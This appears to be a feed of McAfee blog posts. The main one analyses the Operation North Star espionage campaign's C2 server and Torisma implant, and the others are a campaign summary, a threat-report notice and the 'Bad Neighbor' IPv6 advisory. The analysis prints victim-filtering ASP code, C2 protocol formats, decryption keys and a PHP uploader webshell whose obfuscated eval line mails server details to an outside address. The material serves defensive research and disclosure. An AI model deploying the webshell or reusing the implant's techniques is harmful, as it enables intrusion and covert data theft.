From the below code-snippet of the vbscript, we can see that the “gl” and “hl” parameters are used to query the system information from the victim (gl) and the OS architecture (32 or 64 bits):

strinfo=replace(request.form(“gl “),””,” + “):strosbit=replace(request.form(“hl “),””,” + “)

Victim Logging

The adversary keeps track of victims through logging functionality that is implemented into the server-side ASP code. Furthermore, as described above, the backend server code has the ability to perform victim logging based on first stage implant connections. This log file is stored in the WWW root directory on the compromised C2 server. The following code snippet will write data to a log file in the format [date, IP Address, User Agent, Campaign Code (NED), System Info (GL), OS Architecture (HL)].

strlog = date() & “” & formatdatetime(now(), 4)

r = writeline(strlogpath, strlog)

r = writeline(strlogpath, stripaddr)

r = writeline(strlogpath, strua)

r = writeline(strlogpath, strcondition)

r = writeline(strlogpath, strinfo)

r = writeline(strlogpath, strosbit)

The server-side ASP code will check whether the IP address is part of an allow-list or block-list by checking for the presence of the IP in two server-side files masquerading as MP3 files. The IP address is stored in the format of an MD5 hash, contained within the server-side code as a function to create a MD5 hash. The code is looking for these files in the WWW root of the compromised server based on the variable strWorkDir.

Using an ‘allow-list’ is a possible indication that it contained the list of their pre-determined targets.

strWorkDir = “C:\”:strLogPath=strWorKdir&”lole3D_48_02_05.mp3″:StrWhiteFile=strWorkDir&”wole3D_48_02_05.mp3 “:strBlAcKFile=strWorkDir&”bole3D_48_02_05.mp3”:stripAddr=GeTStrIpAddress():strMD5IpAddr=MD5(strIpAddr):strUA=Request.serveRVariables(“HTTP_USER_AGENT “)

IP allow-list / blocklist checking

For MD5 hash generation, the system appears to be using a non-standard form of hashing for the IP addresses. In most cases, the built in Microsoft cryptographic service provider would be used to generate an MD5. In this case, however, the actor chose to use a custom method instead.

The IP address is retrieved and hashed using this method.

stripaddr=getstripaddress()

strmd5ipaddr=md5(stripaddr)

The following function (ipopk) is set to read from a file that stores hashed IPs and will be used later in a conditional block statement. The code below will open and read a file, if there is no data the flag for ipok will result in 0, if there is data then the resulting value will be 1.

function ipok(hashfile, stripaddr)

on error resume next

dim fso, fs, linedata

set fso = server.createobject(“scripting.filesystemobject”)

set fs = fso.opentextfile(hashfile, 1, true)

ipok = 0

do until fs.atendofstream

linedata = lcase(fs.readline)

if len(linedata) > 0 and instr(stripaddr, linedata) then ipok = 1

exit do

end if loop

fs.close

set fs = nothing

end function

The following code is the logic to determine if an infected victim should receive the Torisma implant. A series of cases are used to make the decision depending on specific conditions as depicted in the code. Below the cases are explained:

  • If the victim’s IP-address is on the allow-list, and the OS architecture bit value is “1” (resembling 64 bits), the Torisma 64 bits version implant will be sent to the victim and in the log file the term “case_1_64” is written behind the victim, meaning 64 bit version of the Torisma implant sent.
  • Same for the second case but now for a 32-bit version OS (value 0) and the term “case_1_86” is written, meaning 32-bit implant version of torisma sent.
  • If the ip-address of the victim is on the block list with either 32/64 bit OS architecture, a non-sense payload called “doris_x86” “doris_x64” will be sent to the victim. For example, in our case this was the value for “doris_x86”: DoriS_x86=”ddddddd”
  • If condition “24” is returned from the victim, a log entry is written with value “case_3” and no implant sent and an http response status of 405 is sent
  • If neither of the above conditions are met, “case_4” is written in the log-file, no implant sent and again an http response status of 405 is sent.

An http 405 response code indicates that the request method is known by the server but is not supported by the target resource.

if ipok(strwhitefile, strmd5ipaddr) = 1 and instr(strosbit, “1 “) > 0 then r = writeline(strlogpath, “case_1_64 “) strresdata = strbase64_torisma_x64

 

else if ipok(strwhitefile, strmd5ipaddr) = 1 and instr(strosbit, “0 “) > 0 then r = writeline(strlogpath, “case_1_86 “) strresdata = strbase64_torisma_x86

 

else if ipok(strblackfile, strmd5ipaddr) = 1 and instr(strosbit, “1 “) > 0 then r = writeline(strlogpath, “case_2_64 “) strresdata = strbase64_doris_x64

 

else if ipok(strblackfile, strmd5ipaddr) = 1 and instr(strosbit, “0 “) > 0 then r = writeline(strlogpath, “case_2_86 “) strresdata = strbase64_doris_x86

 

else if instr(strcondition, “24 “) > 0 then r = writeline(strlogpath, “case_3 “) response.status = “405”

else r = writeline(strlogpath, “case_4 “) response.status = “405 “end

Logic to deliver 2nd stage implant to victim

Inside the Torisma Implant

One of the primary objectives of Operation North Star from what we can tell is to install the Torisma implant on the targeted victim’s system based on a set of logic. Further, the end goal is executing custom shellcode post Torisma infection, thus running custom actions depending on the specific victim profiles. As described earlier, Torisma is delivered based on data sent from the victim to the command and control server. This process relies on the first stage implant extracted from VB macro embedded in the DOTM file.

General process flow and component relationship

Further, Torisma is a previously unknown 2nd stage implant embedded in the server-side ASP page as a base64 encoded blob. Embedded is a 64 and 32-bit version and depending on the OS architecture flag value sent by the victim and will determine what version is sent. Further this implant is loaded directly into memory as a result of interaction between the victim and the command and control server. The adversary went to great lengths to obfuscate, encrypt and pack the 1st and 2nd stage implants involved in this specific case.

Once Torisma is decoded from Base64 the implant is further encrypted using an AES key and compressed. The server-side ASP page does not contain any logic to decrypt the Torisma implant itself, rather it relies on decryption logic contained within the first stage implant. The decryption key exists in an encrypted configuration file, along with the URL for the command and control server.

This makes recovery of the implant more difficult if the compromised server code were to be recovered by incident responders.

The decryption method is performed by the first stage implant using the decryption key stored in the configuration file, this key is a static32-bit AES key. Torisma can be decoded with a decryption key 78b81b8215f40706527ca830c34b23f7.

Further, after decrypting the Torisma binary, it is found to also be packed with lz4 compression giving it another layer of protection. Once decompressing the code, we are now able to analyze Torisma and its capabilities giving further insight into Operation North Star and the 2nd stage implant.

The variant of the implant we analyzed was created 7/2/2020; however, given that inc-controller-news.asp was placed on the C2 in early 2020, it indicates the possibility of multiple updates.

Based on the analysis, Torisma is sending and receiving information with the following URLs.

  • hxxps://www.fabianiarte.com/newsletter/arte/view.asp
  • hxxps://www.commodore.com.tr/mobiquo/appExtt/notdefteri/writenote.php
  • hxxp://scimpex.com:443/admin/assets/backup/requisition/requisition.php

Encrypted Configuration File

Torisma also uses encrypted configuration files just as with the 1st stage implant to indicate what URLs it communicates with as a command and control, etc.

Decrypted configuration file

The configuration file for Torisma is encrypted using the algorithm VEST[1] in addition to the communication sent over the C2 channel. From our research this encryption method is not commonly used anywhere, in fact it was a proposed cipher that did not become a standard to be implemented in general technologies[2].

Further, the FOUND002.CHK file recovered from the backend is used to update the configuration and contains just URLs with .php extension. These URLs have pages with a .php extension, indicating that some of the backend may have been written in PHP. It’s unclear what the role of the servers with .PHP pages have in the overall attack. Though we can confirm based on strings and functions in Torisma that there is code designed to send and receive files with the page view.asp. This view.asp page is the Torisma implant backend from what our analysis shows here. Later in this analysis we cover more on view.asp, however that page contained basic functionality to handle requests, send and receive data with an infected victim that has the Torisma implant.

Main Functionality

According to our analysis, the Torisma code is a custom developed implant focused on specialized monitoring.

The role of Torisma is to monitor for new drives added to the system as well as remote desktop connections. This appears to be a more specialized implant focused on active monitoring on a victim’s system and triggering the execution of payloads based on monitored events. The end objective of Torisma is executing shellcode on the victim’s system and sending the results back to the C2.

The Torisma code begins by running a monitoring loop for information gathering.

Information gathering loop

General Process

It runs the monitoring routine but will first check if monitoring is enabled based on the configuration (disabled by default). The general logic of this process is as follows:

  1. If monitoring is disabled, just return
  2. Else call the code that does the monitoring and upon completion temporarily disable monitoring
  3. When run, the monitoring will be executed for a specified amount of time based on a configuration value
  4. Upon return of the monitoring function, the code will proceed to command and control communication
  5. If there is repeated failure in communication, the implant will force monitoring for 1hr and then retry the communication
  6. Repeat forever

Triggering monitoring based on configuration

Monitoring

The monitoring loop will retrieve the address of WTSEnumerateSessionsW and the local mac address using GetAdaptersInfo.

  1. The code will execute on a loop, until either enough time has elapsed (end time passed a parameter) or an event of interest occurred

 

Monitoring loop

  1. It will monitor for an increase in the number of logical drives and Remote Desktop Sessions (RDS). If either occur, a status code will be set (5. New drive, 6. New RDS session) and the monitoring loop stops.

Drive tracking

a. It uses GetlogicalDrives to get a bitmask of all the drives available on the system, then iterates over each possible drive letter

b. It will also use GetDriveType to make sure the new drive is not a CD-ROM drive

Check drive type

  1. It keeps track of the number of drives previously seen and will return 1 if the number has increased

RDP Session Tracking

The RDP session tracking function operates the same as the drive tracking. If the number increases by one it then returns 1. It uses WTSEnumerateSessionsW to get a list of sessions, iterates through them to count active ones.

Get active RDP sessions

Get active RDP sessions, continued

Command and Control Communication

The C2 code is interesting and is a custom implementation. The general process for this protocol is as follows.

  1. Generates a connection ID that will be kept throughout this step as a hex string of five random bytes for each module (0x63) and random seeded with the output of GetTickCount64

Generate connection ID

  1. Next it loads a destination URL
      a. There are three available servers hardcoded in the implant as an encrypted blob
    1. b. The decryption is done using a VEST-32 encryption algorithm with the hardcoded key ff7172d9c888b7a88a7d77372112d772

Configuration Decryption

c. A random configuration number is picked (mod 6) to select this configuration

d. There are only 3 configurations available, if the configuration number picked is above 3, it will keep incrementing (mod 6) until one is picked. Configuration 0 is more likely to be chosen because of this process.

Code to pick configurations

  1. It will send a POST request to the URL it retrieved from the configuration with a “VIEW” action. It builds a request using the following hardcoded format string.
post => ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d

=> PAGE=drive_count

CODE=RDS_session_count

CACHE=base64(blob)

Request=Rand()

 

blob: size 0x43c

blob[0x434:0x438] = status_code

blob[0x438:0x43c] = 1

blob[0:0x400] = form_url

blob[0x400:0x418] = mac_address

blob[0x418:0x424] = connection_id (random)

blob[0x424:0x434] = “MC0921” (UTF-16LE)

a. The process will be looking for the return of the string Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba} to indicate success

  1. If successful, it will retrieve data from the C2 via a POST request, this time it will use the PREVPAGE action

a. It uses the following format string for the POST request

ACTION=PREVPAGE&CODE=C%s&RES=%d

With: CODE = connection_id (from before)

RES = Rand()

b. The reply received from the server is encrypted it. To decrypt it the following process is needed

i. Replace space with +

ii. Base64 decode the result

iii. Decrypt the data with key “ff7172d9c888b7a88a7d77372112d772”

Server decryption using key

iv. Perform a XOR on the data

Perform XOR on the data

    1. The decrypted data is going to be used to execute a shellcode from the server and send data back

a. Data from the server will be split into a payload to execute and the data passed as an argument that is being passed to it
b. Part of the data blob sent from the server is used to update the local configuration used for monitoring

i. The first 8 bytes are fed to a add+xor loop to generate a transformed version that s compared to hardcoded values

Configuration check

Configuration check continued

ii. If the transformed data matched either of the two hardcoded values, the local configuration is updated

iii. In addition, the duration of the observation (for the Drive/RDS) loop can be updated by the server

iv. If the duration is above 0x7620 (21 days) it will then re-enable the monitoring even if the configuration detailed above had disabled it

v. If the transformed data doesn’t match any of the two hardcoded values, then monitoring will be disabled by the configuration

c. The implant will create a new communication thread and will wait until its notified to continue. It will then proceed to execute the shellcode and then wait for the other thread to terminate.

d. Depending on what occurred (an error occurred, or monitoring is enabled/disabled) the code will return a magic value that will decide if the code needs to run again or return to the monitoring process.

Return to communications loop

    1. The communications thread will create a new named pipe (intended to communicate with the shellcode). It the notifies the other thread once the pipe is ready and then proceed to send data read from the pipe to the server.

a. The pipe name is \\.\pipe\fb4d1181bb09b484d058768598b

Code for named pipe

b. It will read data from the pipe (and flag the processing as completed if it finds “- – – – – – – – -“

c. It will then send the data read back to the C2 by sending a POST in the following format

ACTION=NEXTPAGE

ACTION=NEXTPAGE&CODE=S%s&CACHE=%s&RES=%d

CODE=connection_id

CACHE=base64(message)

RES = Rand()

d. Data is encrypted following the same pattern as before, data is first XORED and then encrypted using VEST-32 with the same key as before

e. This will be repeated until the payload thread sends the “- – – – – – – – -“message or that the post failed

Campaign Identification

One way the adversary keeps track of what victims are infected by what version of the first stage implant is by using campaign IDs. These IDs are hard coded into the VB macro of the template document files that are retrieved by the first stage maldoc.

They are sent to the backend server through the NED parameter as covered earlier, further they are read and interpreted by the ASP code.

Victimology

According to the raw access logs for Inc-Controller-News.asp it is possible to understand what countries were impacted and it matches with the logs we discovered along another .asp page (view.asp), which we will explain later in the document.

Based on one of C2 log files we could identify the following about the victims:

  • Russian defense contractor
  • Two IP addresses in two Israeli ISP address spaces
  • IP addresses in Australian ISP space
  • IP address in Russian ISP address space
  • India-based defense contractor

Template-letter.asp

During our investigation we uncovered additional information that led to the discovery of additional ASP pages. One ASP page discovered on the same compromised command and control server contained interesting code. First this ASP page is encoded in the same method using VB.Encode as we observed with the code that delivers the Torisma implant. Second it appears that the code is part of the core backend managed by the attacker and had the original file name of board_list.asp. Based on in the wild submission data the file board_list.asp first appeared in Korea October 2017, this suggests that this code for this webshell has been in use since 2017.

Further, this ASP page is a custom webshell that according to our knowledge and sources is not an off-the-shelf common webshell, rather something specifically used in these attacks. Some of the actions include browsing files, executing commands, connecting to a database, etc. The attacker is presented with the login page and a default base64 encoded password of ‘venus’ can be used to login (this value is hardcoded in the source of this page).

Template-Letter.ASP main page

Functionality to execute commands

 VIEW.ASP -Torisma Backend

The View.ASP file is equally important as the inc-controller-news.asp file and contains interesting functionality. This ASP page is the backend code for the Torisma implant, and the functions are intended to interact with the infected victim.

The view.asp file contains the following references in the code:

The file “FOUND001.CHK” contains a “logfile” as the CONST value name possibly refers to “logvault”.

Analyzing the possible victims revealed an interesting list:

  • Russia-based defense contractor
  • Two IP addresses in two Israeli ISP address spaces
  • IP address in Russian ISP address space
  • India-based defense contractor

The file “FOUND002.CHK” contains a Base64 string that decodes to:

hxxps://www.krnetworkcloud.org/blog/js/view.php|www.krnetworkcloud.org|2|/blog/js/view.php|NT

The above domain was likely compromised to host malicious code, given it belongs to an Indian IT training company.

The Const value name for “FOUND002.CHK” is “cfgvault”, the first three letters might refer to “configuration”. This ASP code contains additional functions that may indicate what role this page has in the overall scheme of things. View.asp is the Torisma implant backend code with numerous functions implemented to handle requests from the implant as described earlier in this analysis. Based on our analysis of both the Torisma implant and this backend code, some interesting insight has been discovered.  First implemented in the ASP code are the general actions that can be taken by this backend depending on the interaction with Torisma.

Some of these actions are triggered by the implant connecting and the others may be invoked by another process. The main ASP page is implemented to handle incoming requests based on a request ACTION with several possible options to call. Given that the implant is driven by the “ACTION” method when it comes to the C2 communication, a number of these cases could be selected. However, we only see code implemented in Torisma to call and handle the request/response mechanism for NEXTPAGE and PREVPAGE, thus these other actions are likely performed by the adversary through some other process.

General actions by View.ASP

ViewPrevPage

As described in the analysis, the ViewPrevPage action is a function designed to handle incoming requests from Torisma to get data. The data sent to Torisma appears to be in the form of ~dmf files. This content for the ViewPrevPage action comes in the form of shellcode intended to be executed on the victim side according to the analysis of the implant itself.

ViewPrevPage function

ViewNextPage

Torisma uses this method to send data back to the C2 server read from the named pipe. This is the results of the execution of the shellcode on the victim’s system through the ViewPrevPage action and the results of this execution are sent and processed using this function.

Implant sends data to C2

ViewGallery

There is no function in Torisma implemented to call this function directly, this is likely called from another administration tool, probably implemented in the upstream server. A static analysis of this method reveals that it is likely intended to retrieve log files in a base64 encoded format and write the response. Like the Torisma implant, there is a response string that is received by the calling component that indicates the log file had been retrieved successfully and that it should then delete the log file.

Retrieve and write log file content in base64 format (ViewGallery)

ViewMons

Another function also not used by Torisma is intended to set the local configuration file. It appears to use a different request method than ACTION; in this case it uses MAILTO. Based on insight gathered from Torisma, we can speculate this is related to configuration files that are used by the implant.

ViewMons function

SendData

This function is used in the RedirectToAdmin method exclusively and is the mechanism for sending data to the upstream C2. It depends on the GetConfig function that is based on the stored value in the cfgvault variable.

Send Data

RedirectToAdmin

This function is used to redirect information from an infected victim to the master server upstream. This is an interesting function indicating additional infrastructure beyond the immediate C2 with which we observed Torisma communicating.

RedirectToAdmin

WriteAgentLog

As part of the process of tracking victim’s with Torisma, the ASP code has a function to write log files. These resulting log files indicate success for the execution of shellcode on victims running Torisma. This logging method captures the user agent and IP address associated with the victim being monitored. This function is called when the information is sent to the master server via the RedirectToAdmin method.

Analysis of the server logs indicates the following countries made connections to the View.ASP page in July 2020.

  • India
  • Australia
  • Israel
  • Finland

Webshells

During our analysis we were able to determine that in some instances the attacker used webshells to maintain access. Discovered on another compromised server by the same actor with the same type of code was a PHP Webshell known as Viper 1337 Uploader. Based on our analysis this is a modified variant of Viper 1337 Uploader.

<title>Viper 1337 Uploader</title>

<?php

echo ‘<form action=”” method=”post” enctype=”multipart/form-data” name=”uploader” id=”uploader”>’;

echo ‘<input type=”file” name=”file” size=”50″><input name=”_upl” type=”submit” id=”_upl” value=”Upload”></form>’;

if( $_POST[‘_upl’] == “Upload” ) {

if(@copy($_FILES[‘file’][‘tmp_name’], $_FILES[‘file’][‘name’])) { echo ‘<b>Shell Uploaded ! :)<b><br><br>’; }

else { echo ‘<b>Not uploaded ! </b><br><br>’; }

}

?>

<?php

eval(base64_decode(‘JHR1anVhbm1haWwgPSAnS2VsdWFyZ2FIbWVpN0B5YW5kZXguY29tJzsKJHhfcGF0aCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiRwZXNhbl9hbGVydCA9ICJmaXggJHhfcGF0aCA6cCAqSVAgQWRkcmVzcyA6IFsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIjsKbWFpbCgkdHVqdWFubWFpbCwgIkNvbnRhY3QgTWUiLCAkcGVzYW5fYWxlcnQsICJbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSIpOw==’));

?>

Some additional log file analysis reveals that a dotm file hosted with a. jpg extension was accessed by an Israeli IP address. This IP address likely belongs to a victim in Israel that executed the main DOCX. Based on the analysis of the user-agent string belonging to the Israel IP address Microsoft+Office+Existence+Discovery indicates that the dotm file in question was downloaded from within Microsoft Office (template injection).

Attacker Source

According to our analysis the attacker accessed and posted a malicious ASP script “template-letter.asp” from the IP address 104.194.220.87 on 7/9/2020.  Further research indicates that the attacker is originating from a service known as VPN Consumer in New York, NY.

Snipped from log file showing attacker IP 104.194.220.87

From the same logfiles, we observed the following User Agent String:

“Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+10.0;+Win64;+x64;+Trident/7.0;+.NET4.0C;+.NET4.0E;+ms-office;+MSOffice+16)”

Decoding the User Agent string we can make the following statement

The attacker is using a 64bit Windows 10 platform and Office 2016.

The Office version is the same as we observed in the creation of the Word-documents as described in our document analysis part of Operation NorthStar.

Conclusion

It is not very often that we have a chance of getting the C2 server code pages and associated logging in our possession for analysis. Where we started with our initial analysis of the first stage payloads, layer after layer we were able to decode and reveal, resulting in unique insights into this campaign.

Analysis of logfiles uncovered potential targets of which we were unaware following our first analysis of Operation North Star, including internet service providers and defense contractors based in Russia and India.

Our analysis reveals a previously unknown second stage implant known as Torisma which executes a custom shellcode, depending on specific victim profiles, to run custom actions. It also illustrates how the adversary used compromised domains in Italy and elsewhere, belonging to random organizations such as an auction house and printing company, to collect data on victim organizations in multiple countries during an operation that lasted nearly a year.

This campaign was interesting in that there was a particular list of targets of interest, and that list was verified before the decision was made to send a second implant, either 32 or 64 bits, for further and in-depth monitoring. Progress of the implants sent by the C2 was monitored and written in a log file that gave the adversary an overview of which victims were successfully infiltrated and could be monitored further.

Our findings ultimately provide a unique view into not only how the adversary executes his attacks but also how he evaluates and chooses to further exploit his victims.

Read our McAfee Defender’s blog to learn more about how you can build an adaptable security architecture against the Operation North Star campaign.

Special thanks to Philippe Laulheret for his assistance in analysis

 

[1] https://www.ecrypt.eu.org/stream/p2ciphers/vest/vest_p2.pdf

[2] https://www.ecrypt.eu.org/stream/vestp2.html

The post Operation North Star: Behind The Scenes appeared first on McAfee Blogs.

Operation North Star: Summary Of Our Latest Analysis

McAfee’s Advanced Threat Research (ATR) today released research that uncovers previously undiscovered information on how Operation North Star evaluated its prospective victims and launched attacks on organizations in Australia, India, Israel and Russia, including defense contractors based in India and Russia.

McAfee’s initial research into Operation North Star revealed a campaign that used social media sites, spearphishing and weaponized documents to target employees working for organizations in the defense sector. This early analysis focused on the adversary’s initial intrusion vectors, the first stages of how an implant was installed, and how it interacted with the Command and Control (C2) server.

By deepening its investigation into the inner workings of North Star’s C2, McAfee ATR can now provide a unique view into not only the technology and tactics the adversary used to stealthily execute his attacks but also the kinds of victims he targeted.

The latest research probed into the campaign’s backend infrastructure to establish greater perspective into how the adversary targeted and assessed his victims for continued exploitation, and how he used a previously unknown implant called Torisma to execute this exploitation.

McAfee’s findings ultimately provide a unique view into a persistent cyber espionage campaign targeting high value individuals in possession of high value defense sector intellectual property and other confidential information.

VECTORS & INFRASTRUCTURE

Most analysis of cyber campaigns is typically reliant upon the dissection of malware and the telemetry of cyber defenses that have come into contact with those campaigns. McAfee’s analysis of Operation North Star complemented these elements by dissecting the C2 infrastructure that operated the campaign. In doing so, we gained a holistic view of its operations that is rarely available to threat researchers.

Attackers often send out many spearphishing emails to many potential targets rather than precisely targeting the highest value individuals. Once the victim opens a message and infects himself, the malware will try to fully exploit his system. But this broad, less precise approach of infecting many is “noisy” in that it is likely to be identified if these infections are happening at scale across an organization (let alone around the world).  Cyber defenses will eventually be able to recognize and stop it.

In the case of Operation North Star, the attackers researched their specific target victims, developed customized content to lure them, engaged them directly via LinkedIn mail conversations, and sent them sophisticated attachments that infected them in a novel way using a template injection tactic.

The campaign used legitimate job recruitment content from popular U.S. defense contractor websites to lure specific victims into opening malicious spear phishing email attachments. Notably, the attackers compromised and used legitimate web domains hosted in the U.S. and Italy to host their command and control capabilities. These otherwise benign domains belonged to organizations in a wide variety of fields, from an apparel manufacturer, to an auction house, to a printing company, to an IT training firm.

Using these domains to conduct C2 operations likely allowed them to bypass some organizations’ security measures because most organizations do not block trusted websites.

The first stage implant was delivered by DOTM files which, once established on a victim’s system, gathered information on that system such as disk information, free disk space information, computer name and logged in username and process information. It would then use a set of logic to evaluate the victim system data sent back by this initial implant to determine whether to install a second-stage implant called Torisma. All the while, it operated to achieve its objectives while minimizing the risk of detection and discovery.

General process flow and component relationship

Torisma is a previously undiscovered, custom-developed, second-stage implant focused on specialized monitoring of high value victims’ systems. Once installed, it would execute custom shellcode and run a custom set of actions depending on the victim systems’ profiles. The actions included active monitoring of the systems and execution of payloads based on observed events. For instance, it would monitor for an increase in the number of logical drives and Remote Desktop Sessions (RDS).

What is clear is that the campaign’s objective was to establish a long-term, persistent espionage campaign focused on specific individuals in possession of strategically valuable technology from key countries around the world.

VICTIMS & IMPACT

McAfee’s early analysis of Operation North Star’s spearphishing messages were written in Korean and exhibited mentions of topics specific to South Korean politics and diplomacy. But our latest analysis of North Star’s C2 log files enabled us to identify targets beyond South Korea:

 

  • Two IP addresses in two Israeli ISP address spaces
  • IP addresses in Australian ISP space
  • IP address in Russian ISP address space
  • India-based defense contractor
  • Russian defense contractor

The campaign’s technologies and tactics—the installation of data gathering and system monitoring implants—suggests that the adversary is in a position to remain persistent, conduct surveillance on and exfiltrate sensitive data from its defense sector victims.

The detailed job descriptions used to lure victims and the selective use of the Torisma implant suggest that the attackers were pursuing very specific intellectual property and other confidential information from very specific defense technology providers. Less valuable victims were sidelined to be monitored silently over an extended period of time until they become more valuable.

VILLAINS & IMPLICATIONS

McAfee cannot independently attribute Operation North Star to a particular hacking group. McAfee has established that the code used in the spearphishing attachments is almost identical to that used by a 2019 Hidden Cobra campaign targeting Indian defense and aerospace companies. This could indicate that either Hidden Cobra is behind Operation North Star or another group is copying the group’s known and established technology and tactics. But sound, accurate attribution requires that technical analysis of such attacks be complemented by information from traditional intelligence sources available only to government agencies.

McAfee’s findings do suggest that the actors behind the campaign were more sophisticated than they initially appeared in our early analysis. They were focused and deliberate in what they meant to achieve and more disciplined and patient in their execution to avoid detection.

Please see our full report entitled “Operation North Star: Behind the Scenes” for a detailed review of ATR’s analysis of the campaign.

Also, please read our McAfee Defender’s blog to learn more about how you can build an adaptable security architecture against the Operation North Star campaign and others like it.

 

The post Operation North Star: Summary Of Our Latest Analysis appeared first on McAfee Blogs.

McAfee Labs Report Reveals Continuing Surge of COVID-19 Threats and Malware

The McAfee Advanced Threat Research team today published the McAfee Labs Threats Report: November 2020.

In this edition, we follow our preceding McAfee Labs COVID-19 Threats Report with more research and data designed to help you better protect your enterprise’s productivity and viability during challenging times.

What a year so far! The first quarter of 2020 included a rush of malicious actors leveraging COVID-19, and the trend only increased in the second quarter. For example, McAfee’s global network of more than a billion sensors registered a 605% increase in total Q2 COVID-19-themed threat detections. It’s an example of updated pandemic-related threats you can track on our McAfee COVID-19 Threats Dashboard.

This edition of our threat report also looks at other notable Q2 20 malware increases including:

  • Attacks on cloud services users reached nearly 7.5 million
  • New malware samples grew 11.5%, averaging 419 new threats per minute
  • PowerShell malware surged 117%

To help ensure your data and systems remain secure, we have also made available the MVISION Insights preview dashboard to demonstrate the prevalence of such current campaigns. This dashboard also provides access to the Yara rules, IoCs, and mapping of such campaigns against the MITRE ATT&CK Framework. We update these campaigns on a weekly basis so, in essence, this threat report has an accompanying dashboard with more detail on specific campaigns.

I certainly hope that you see the value not only in the data presented within the threats report, but also with the dashboards. Your feedback is important to us.

Stay safe.

 

McAfee Labs Quarterly Threat Report – November 2020

What a year so far! We exited the first quarter of 2020 battling the rush of malicious actors leveraging COVID-19, and in the second quarter there are no signs that these attacks seem to be abating.

Download Now

 

The post McAfee Labs Report Reveals Continuing Surge of COVID-19 Threats and Malware appeared first on McAfee Blogs.

CVE-2020-16898: “Bad Neighbor”

CVE-2020-16898: “Bad Neighbor”

CVSS Score: 8.8

Vector: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C

Overview
Today, Microsoft announced a critical vulnerability in the Windows IPv6 stack, which allows an attacker to send maliciously crafted packets to potentially execute arbitrary code on a remote system. The proof-of-concept shared with MAPP (Microsoft Active Protection Program) members is both extremely simple and perfectly reliable. It results in an immediate BSOD (Blue Screen of Death), but more so, indicates the likelihood of exploitation for those who can manage to bypass Windows 10 and Windows Server 2019 mitigations. The effects of an exploit that would grant remote code execution would be widespread and highly impactful, as this type of bug could be made wormable. For ease of reference, we nicknamed the vulnerability “Bad Neighbor” because it is located within an ICMPv6 Neighbor Discovery “Protocol”, using the Router Advertisement type.

Vulnerability Details
A remote code execution vulnerability exists when the Windows TCP/IP stack improperly handles ICMPv6 Router Advertisement packets that use Option Type 25 (Recursive DNS Server Option) and a length field value that is even. In this Option, the length is counted in increments of 8 bytes, so an RDNSS option with a length of 3 should have a total length of 24 bytes. The option itself consists of five fields: Type, Length, Reserved, Lifetime, and Addresses of IPv6 Recursive DNS Servers. The first four fields always total 8 bytes, but the last field can contain a variable number of IPv6 addresses, which are 16 bytes each. As a result, the length field should always be an odd value of at least 3, per RFC 8106:

When an IPv6 host receives DNS options (i.e., RDNSS and DNSSL
options) through RA messages, it processes the options as follows:

   o  The validity of DNS options is checked with the Length field;
      that is, the value of the Length field in the RDNSS option is
      greater than or equal to the minimum value (3) and satisfies the
      requirement that (Length - 1) % 2 == 0.

When an even length value is provided, the Windows TCP/IP stack incorrectly advances the network buffer by an amount that is 8 bytes too few. This is because the stack internally counts in 16-byte increments, failing to account for the case where a non-RFC compliant length value is used. This mismatch results in the stack interpreting the last 8 bytes of the current option as the start of a second option, ultimately leading to a buffer overflow and potential RCE.

It is likely that a memory leak or information disclosure bug in the Windows kernel would be required in order to build a full exploit chain for this vulnerability. Despite this, we expect to see working exploits in the very near future.

Threat Surface
The largest impact here will be to consumers on Windows 10 machines, though with Windows Updates the threat surface is likely to be quickly minimized. While Shodan.io shouldn’t be counted on as a definitive source, our best queries put the number of Windows Server 2019 machines with IPv6 addresses is in the hundreds, not exceeding approximately 1000. This is likely because most servers are behind firewalls or hosted by Cloud Service Providers (CSPs) and not reachable directly via Shodan scans.

Detection
We believe this vulnerability can be detected with a simple heuristic that parses all incoming ICMPv6 traffic, looking for packets with an ICMPv6 Type field of 134 – indicating Router Advertisement – and an ICMPv6 Option field of 25 – indicating Recursive DNS Server (RDNSS). If this RDNSS option also has a length field value that is even, the heuristic would drop or flag the associated packet, as it is likely part of a “Bad Neighbor” exploit attempt.

Mitigation
Patching is always the first and most effective course of action. If this is not possible, the best mitigation is disabling IPv6, either on the NIC or at the perimeter of the network by dropping ICMPv6 traffic if it is non-essential. Additionally, ICMPv6 Router Advertisements can be blocked or dropped at the network perimeter. Windows Defender and Windows Firewall fail to block the proof-of-concept when enabled. It is unknown yet if this attack can succeed by tunneling the ICMPv6 traffic over IPv4 using technologies like 6to4 or Teredo. Our efforts to repeat the attack in this manner have not been successful to date.

For those McAfee customers who are unable to deploy the Windows patch, the following Network Security Platform (NSP) signatures will provide a virtual patch against attempted exploitation of this vulnerability, as well as a similar vulnerability (CVE-2020-16899). Unlike “Bad Neighbor”, the impact of CVE-2020-16899 is limited to denial-of-service in the form of BSoD.

NSP Attack ID: 0x40103a00 – ICMP: Windows IPv6 Stack Elevation of Privilege Vulnerability (CVE-2020-16898)
NSP Attack ID: 0x40103b00 – ICMP: Windows Function Discovery SSDP Provider Elevation of Privilege Vulnerability (CVE-2020-16899)

Additionally, we are releasing Suricata rules to detect potential exploitation of these vulnerabilities. Due to limitations in open source tools such as Snort and Suricata, we found that implementing the minimal detection logic described earlier required combining Suricata with its built-in Lua script parser. We have hosted the rules and Lua scripts at our public GitHub under CVE-2020-16898 and CVE-2020-16899 respectively. Although we have confirmed that the rules correctly detect use of the proof-of-concepts, they should be thoroughly vetted in your environment prior to deployment to avoid risk of any false positives.

The post CVE-2020-16898: “Bad Neighbor” appeared first on McAfee Blogs.

Our Experiences Participating in Microsoft’s Azure Sphere Bounty Program

